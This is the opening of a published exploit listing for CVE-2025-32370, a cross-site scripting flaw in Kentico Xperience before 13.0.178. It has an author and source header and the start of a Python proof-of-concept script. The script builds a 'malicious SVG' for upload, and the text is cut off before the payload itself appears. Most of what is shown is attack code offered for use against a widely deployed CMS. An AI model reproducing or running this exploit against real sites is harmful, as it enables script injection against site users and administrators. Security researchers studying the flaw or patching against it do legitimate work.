
Kentico Xperience 13.0.178 – Cross Site Scripting (XSS)
# Exploit Title: Kentico Xperience 13.0.178 – Cross Site Scripting (XSS) # Date: 2025-05-09 # Version: Kentico Xperience before 13.0.178 # Exploit Author: Alex Messham # Contact: ramessham@gmail.com # Source: https://github.com/xirtam2669/Kentico-Xperience-before-13.0.178—XSS-POC/ # CVE: CVE-2025-32370 import requests import subprocess import os import argparse def create_svg_payload(svg_filename: str): print(f”[*] Writing malicious SVG to: {svg_filename}”) svg_payload =…